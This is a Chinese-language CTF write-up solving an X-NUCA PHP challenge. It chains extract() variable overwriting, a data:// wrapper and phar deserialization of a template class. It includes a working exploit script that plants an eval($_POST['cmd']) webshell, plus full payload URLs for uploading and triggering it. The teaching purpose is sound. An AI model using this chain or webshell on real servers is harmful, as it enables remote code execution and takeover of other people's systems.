本篇主要讲解过去一年来各大比赛中出现的比较典型的几个反序列化题目
本文涉及相关实验：PHP反序列化漏洞实验 （通过本次实验，大家将会明白什么是反序列化漏洞，反序列化漏洞的成因以及如何挖掘和预防此类漏洞。）
xnuca个人赛题目解析
链接：https://pan.baidu.com/s/1U_uDvgtzfFV165158xGE9A
提取码：7ryd
复制这段内容后打开百度网盘手机App，操作更方便哦--来自百度网盘超级会员V3的分享
考点一：变量覆盖
<?php
error_reporting(E_ALL);
$sandbox = './' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
mkdir($sandbox);
}include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
} else {
highlight_file(__file__);
die();
}if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Temp($content);
} else {
echo "Please choice one template to reader";
}
?>
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "$a = $a; $b = $b; $c = $c";
?>
extract($_GET);
extract($_GET['var'], EXTR_OVERWRITE);
http://IP?var[]=a
array(1) { ["var"]=> array(1) { [0]=> string(1) "a" } }
array(1) { [0]=> string(1) "a" }
extract($_GET['var'], EXTR_OVERWRITE);
http://IP/?var[template][tp1]=aaa
之前
array(3) {
["tp1"]=>
string(7) "tp1.tpl"
["tp2"]=>
string(7) "tp2.tpl"
["tp3"]=>
string(7) "tp3.tpl"
}之后
array(1) {
["tp1"]=>
string(3) "aaa"
}
因为?var[template][tp1]=aaa 等同于输入了
$template=array('tp1'=>'aaa')；
而不是
$template = array('tp1'=>'aaa','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
所以是全部覆盖
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Temp($content);
} else {
echo "Please choice one template to reader";
}
-
tp]为我们要读取的文件名
-
tp可控
-
array_key_exists判断 template数组中是否存在
-
存在则读取 tp]指向的文件
-
?var[template][a]=文件名&tp=a
u can see ur html file in f187b1e39a106780507c0f5c399da8c1/594f803b380a41396ed63dca39503542.html
<?php
error_reporting(0);
class Temp {
public $suffix;
public $content;
public $pattern;
public function __construct($content) {
$this->content = $content;
$this->pattern = "/{{([a-z]+)}}/";
$this->suffix = ".html";
}
public function __destruct() {
$this->render();
}
public function render() {
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else {
break;
}
}
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "u can see ur html file in " . $filename;
}
}
?>
模板变量替换
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else {
break;
}
}
-
匹配输入，含有{{([a-z]+)}}，其中 $matches为
Array ( [0] => {{a}} [1] => a )
global ${$matches[1]};
#探测外部是否有需要名字为 $matches[1]的变量，
-
然后preg_replace将content里的 $matches[1]给替换为那个变量的值
写入文件
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "u can see ur html file in " . $filename;
-
自 PHP 5.2.0 起 data:（» RFC 2397）数据流封装器开始有效。data://text/plain;base64,加上文件内容的base64编码
-
变量覆盖，然后file_get_content读取我们输入的data流，然后被写入
-
file_get_contents触发phar
<?php
class Temp {
public $suffix;
public $content;
public $pattern;
}
@unlink("phar.phar");#固定老四句，除非你要修改phar文件头部，或者想压缩一个webshell，压缩的攻击通常用于lfi+phar
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub，增加gif文件头
$phar->addFromString('test.txt','test'); //添加要压缩的文件#实例化和修改属性的主要代码
$object = new Temp();
$object->suffix=".php";
$object->content="<?=eval($_POST['cmd']); ";
$object->pattern="{{([a-z]+)}}";#固定老两句
$phar->setMetadata($object); //将自定义meta-data存入manifest
$phar->stopBuffering();
先php运行exp.php，生成phar.phar文件。 php -a 进入php交互式界面。
php > echo file_get_contents("php://filter/convert.base64-encode/resource=phar.phar");
R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqtAAAAAQAAABEAAAABAAAAAAB3AAAATzo0OiJUZW1wIjozOntzOjY6InN1ZmZpeCI7czo0OiIucGhwIjtzOjc6ImNvbnRlbnQiO3M6MjQ6Ijw/PWV2YWwoJF9QT1NUWydjbWQnXSk7ICI7czo3OiJwYXR0ZXJuIjtzOjEyOiJ7eyhbYS16XSspfX0iO30IAAAAdGVzdC50eHQEAAAAyokbYAQAAAAMfn/YpAEAAAAAAAB0ZXN0tLvtt2MIggiafMrFCk5+NDuEWOECAAAAR0JNQg==
然后url编码，因为=和+号在url里面不能直接用，会被当作有意义的字符
http://IP/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2BDQqtAAAAAQAAABEAAAABAAAAAAB3AAAATzo0OiJUZW1wIjozOntzOjY6InN1ZmZpeCI7czo0OiIucGhwIjtzOjc6ImNvbnRlbnQiO3M6MjQ6Ijw%2FPWV2YWwoJF9QT1NUWydjbWQnXSk7ICI7czo3OiJwYXR0ZXJuIjtzOjEyOiJ7eyhbYS16XSspfX0iO30IAAAAdGVzdC50eHQEAAAAyokbYAQAAAAMfn%2FYpAEAAAAAAAB0ZXN0tLvtt2MIggiafMrFCk5%2BNDuEWOECAAAAR0JNQg%3D%3D&tp=tp1
u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/e6c3231faf7291112e65294fcf13d7fc.html
http://IP/?var[template][tp1]=phar://upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/e6c3231faf7291112e65294fcf13d7fc.html&tp=tp1
u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/d41d8cd98f00b204e9800998ecf8427e.htmlu can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/a3670f7aa58980d1970ac97e35a13ff1.php
http://IP/upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/a3670f7aa58980d1970ac97e35a13ff1.php
http://IP/?var[template][tp1]=http://IP/phar.phar&tp=tp1
本文作者：蚁景科技
本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/153638.html
如有侵权请联系:admin#unsafe.sh